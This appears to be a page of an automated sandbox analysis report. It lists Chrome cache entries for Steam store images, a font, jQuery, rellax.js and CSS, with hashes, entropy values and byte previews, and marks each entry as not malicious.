Preview:	.PNG........IHDR.............eih.....bKGD..............IDATx....q..@Q..{..!L.3.(.E..fi......s. .<R}............^....?......)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.......^o.uz.....n..=G..(.m..y.............@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M..........3......e...8H........<..N......:......._A?..~..\|.....*8.._...9......._A?......jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.....8.....:..w..>..w.m]6..y.

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 888 x 794, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	35255
Entropy (8bit):	7.871647743956511
Encrypted:	false
SSDEEP:	768:trORd4k+l2FRaXrtpnkF6XOaLAgBHGeNnhWKLdIQU9T:trORWk7KE6eavBHGZKTgT
MD5:	0463B35928BD2A797C7F05C8036F12A8
SHA1:	9741327AED844EA35B2576760969B1AF5057B2E1
SHA-256:	2294DF1409A23436656C7FB5CE2F43D3B89F3F814AC86511528F47F87C6B582B
SHA-512:	A82CD38E03A255913919C8FDCAD7FD56D1F8B0952D90DEC4C43A15F2F2EFD0B478E3A67717ED649038C54BB253843E5CEA28F4C04ADB39B0DE568A04935BCA84
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png
Preview:	.PNG........IHDR...x.........[0sH....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz.... .IDATx....$Y........S.9EEV..B#M.4....-...."H...3 ....f..V...Nu.n.9Gf.>....Y...=\..<...0S=..f......T..._....p../....w.A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4.

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.912261889131172
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9U9lJ93Yu8GxqTXWn+ygiIlqYm3c8VDfTIiGO2OU2Q+GT/lDhWpi:Ac1spMUp93YDGAXWn+IIbmPfMiGO7U2M
MD5:	FAC0B2E3A3EEF22CC8B5D10F740AAA15
SHA1:	2BF712CEAD5B5000EA7C9DF5E7539B01571F4BD8
SHA-256:	525D86CE4631D5494BE8D2174C96241CBC1B7AE03A7093E56019807CB9FEE36A
SHA-512:	EBAD530320AC3CC0329689C6A6615F11AE9CDC28E83E18A44432B95C0EB0220B1D409173BA1A17D1FE9039ED719E5F44E1E431831769F70233BF2A10C265AC37
Malicious:	false
Reputation:	low
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . ..".....................................'..........................!1A..2Qa.."...................................................!1."q............?....p...3B.s9G.MY......o....p2O....T.6....#Z ...[.......0w.5zA+........c_..s.iO.z..g..i1.+4e=...;..q..~......$q...k4y..Q..X'1.5...... .8..=...."<....k.....X.=....Gd.o.6.;G.....L.}....:..5.V..<...%\.*hk....+.@.b@;.....)..R%.N.]....~7..<~_!..6%.u.&W;..0..k\|6..t..uU.....K.C~.....%.......sm<.\|...O.0.t.j.:Vp.....C.O....r.dn5.,..(v....>....;6o.7l.a.^.gn...[>u...Z.<.Cc!.w?..

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 137, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28667
Entropy (8bit):	7.9837637514425595
Encrypted:	false
SSDEEP:	768:a30Z4XWxlJVZOLiKhwbGUzCbN5gknK0fHcrNS8WVra:aEZ4XWR7OLiKhhhB5BfGNsVra
MD5:	D9871B81A9DAD8ACB788EBC2D3066F72
SHA1:	C5CF4295DB683221688EF2C6F9206C71F34F15AB
SHA-256:	BD837F4A2362D50B85A9C748B8DC9C3AA2F807CB838233DF513DF034DD604998
SHA-512:	CFAE8BD0D9564A5E96454AAAC8DC8CA2BA87CD5DAEB6D27DB26276B34033CF8170337C199CD1025641BE9DD584BD25A4FE6DF7836EBF22E75DCD47A4857DBCBD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............u.....pHYs.................sRGB.........gAMA......a...o.IDATx..Y.,K.&...G....)...k.....AB..O .....<.........#.+?......!!!$..!...7..{G..............{........>..hLg.....v.4...1.cev....\x..'3.....H...=&.c_.y..c.>v.<......^r.c...).;u.%.._g..q...i.c.x-.N9.R.%..8n.......}I../....#5....%.o..A.b.z..m..K.......k.K...q#..;....'/\.c...n+.n..-h..5.j@.....B.t....1....-.yve...M.-rk.d^.,s...}..;....Dp.^Ku}.$s...wy....a~.c.d..~[:.X...0...bC...+`.a9x.1 1......n_..[.RN\.%...y...=..9...<..^.ob.@S.z..j.....m....h.B.....k.S@D.}...9.v..........{.c.....=+..o.y................V#].K........n......;.}.\|`b.&.8V.u..{..P.M...L....7....N.....P..W..A...o.&.tj.rj...d.).H.....}.s.=.^......u....P?..'..<.=..I....."0....c.C....N.c....s)(....y6..+..../t.........!p..f.....n.O.?..M...%...l}......o.\.X.k.......=N..c..nD.u...TYz.y}...P..a"..#..<6.1..WV..b@.)0.............n.....wi.dP-.Ot.....@.A...u...4..;...m....4..o..&..p.......y...Y.

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	972384
Entropy (8bit):	5.832227573654786
Encrypted:	false
SSDEEP:	12288:ScMUDNR7fkrf13Y1AXUSkloAXp4IAoRnOSd0k8JFW5qsx:rJKfCGUSkloPzoRnOSZyFW5qsx
MD5:	4F4506F667B9E46FB591B41A4D34E26D
SHA1:	9807327119E84CD8EC7E953E6B2B995775895160
SHA-256:	676BEBD7F2729D5C605505B335F730375AC74880D3903C80393736B263DC0265
SHA-512:	4083E6AAA180EEB0B9F393F072159766B266C8DB8C298F104FD16BF10E2FEB10FD612BA0BEF7B7CD3BB1E8D5C6C0AA20529973683816399D60F582342D357156
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8997],{41735:(e,t,r)=>{e.exports=r(38681)},61238:(e,t,r)=>{"use strict";var n=r(51362),o=r(65072),i=r(74438),a=r(63724),s=r(47429),l=r(83862),u=r(24508),d=r(38466),c=r(35407),g=r(99461),p=r(97962);e.exports=function(e){return new Promise((function(t,r){var h,f=e.data,_=e.headers,m=e.responseType;function y(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("abort",h)}n.isFormData(f)&&n.isStandardBrowserEnv()&&delete _["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var v=e.auth.username\|\|"",M=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";_.Authorization="Basic "+btoa(v+":"+M)}var S=s(e.baseURL,e.url);function L(){if(b){var n="getAllResponseHeaders"in b?l(b.getAllResponseHeaders()):null,i={data:m&&"text"!==m&&"

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (549), with CRLF line terminators
Category:	downloaded
Size (bytes):	3534
Entropy (8bit):	5.312911934963736
Encrypted:	false
SSDEEP:	48:zZVHfhrPkc2joyZlyjm9bdl+8g1dRojthpc2apt8a94NHtuiYIKBzysdC6xmUtRO:zZPrPKj2cdk8yajtY2apd943Y+6MUa
MD5:	29B231B211D707A52646E585521DCC54
SHA1:	ADFF2107EFEF3D36962F94B65082CBD0B60FBC44
SHA-256:	8FC4CECBD9539E272B4C1FB717FA7543D24DD8EB01C2F77D50F75CFBBFBC179B
SHA-512:	D6EB12CE308868F074024D3302345045396B087BE61156352DDB024F53725F4853B20431052B551A9B753E8C369CB8835E3B2382E7CDACBDFE796AB19BB2B8A7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/rellax/rellax.min.js?v=.KbIxshHXB6Um
Preview:	(function(h,g){"function"===typeof define&&define.amd?define([],g):"object"===typeof module&&module.exports?module.exports=g():h.Rellax=g()})(typeof window !== "undefined" ? window : global,function(){var h=function(g,n){var a=Object.create(h.prototype),k=0,p=0,l=0,q=0,e=[],r=!0,z=window.requestAnimationFrame\|\|window.webkitRequestAnimationFrame\|\|window.mozRequestAnimationFrame\|\|window.msRequestAnimationFrame\|\|window.oRequestAnimationFrame\|\|function(a){setTimeout(a,1E3/60)},A=window.transformProp\|\|function(){var a=document.createElement("div");..if(null===a.style.transform){var b=["Webkit","Moz","ms"],d;for(d in b)if(void 0!==a.style[b[d]+"Transform"])return b[d]+"Transform"}return"transform"}();a.options={speed:-2,center:!1,wrapper:null,round:!0,vertical:!0,horizontal:!1,callback:function(){}};n&&Object.keys(n).forEach(function(c){a.options[c]=n[c]});g\|\|(g=".rellax");var m="string"===typeof g?document.querySelectorAll(g):[g];if(0<m.length)a.elems=m;else throw Error("The elements you're

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 888 x 794, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	35255
Entropy (8bit):	7.871647743956511
Encrypted:	false
SSDEEP:	768:trORd4k+l2FRaXrtpnkF6XOaLAgBHGeNnhWKLdIQU9T:trORWk7KE6eavBHGZKTgT
MD5:	0463B35928BD2A797C7F05C8036F12A8
SHA1:	9741327AED844EA35B2576760969B1AF5057B2E1
SHA-256:	2294DF1409A23436656C7FB5CE2F43D3B89F3F814AC86511528F47F87C6B582B
SHA-512:	A82CD38E03A255913919C8FDCAD7FD56D1F8B0952D90DEC4C43A15F2F2EFD0B478E3A67717ED649038C54BB253843E5CEA28F4C04ADB39B0DE568A04935BCA84
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x.........[0sH....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz.... .IDATx....$Y........S.9EEV..B#M.4....-...."H...3 ....f..V...Nu.n.9Gf.>....Y...=\..<...0S=..f......T..._....p../....w.A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4...0..&....A..... .......A..... h...`..M..........A.4.

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33528
Entropy (8bit):	5.2639142464616375
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJGMJhxJfS2:FpP1vZRxGLS2
MD5:	E8F16A7B1E543E9ADB78F6E12945515F
SHA1:	47263A98B74A253EA0BF72BFB6525EDC0BACB034
SHA-256:	3D0874AB563803918741EDFD0204AA756DF378544BF81E1874A538B17839500D
SHA-512:	305F068227A7B62BD472B797F6AB7C9C8B9199F7D038013C69F0101425ED364F960A03E3F931BF0A2B5F3BCF21DA174EB02732367AAAE4D9B4D75A9112439EEE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english
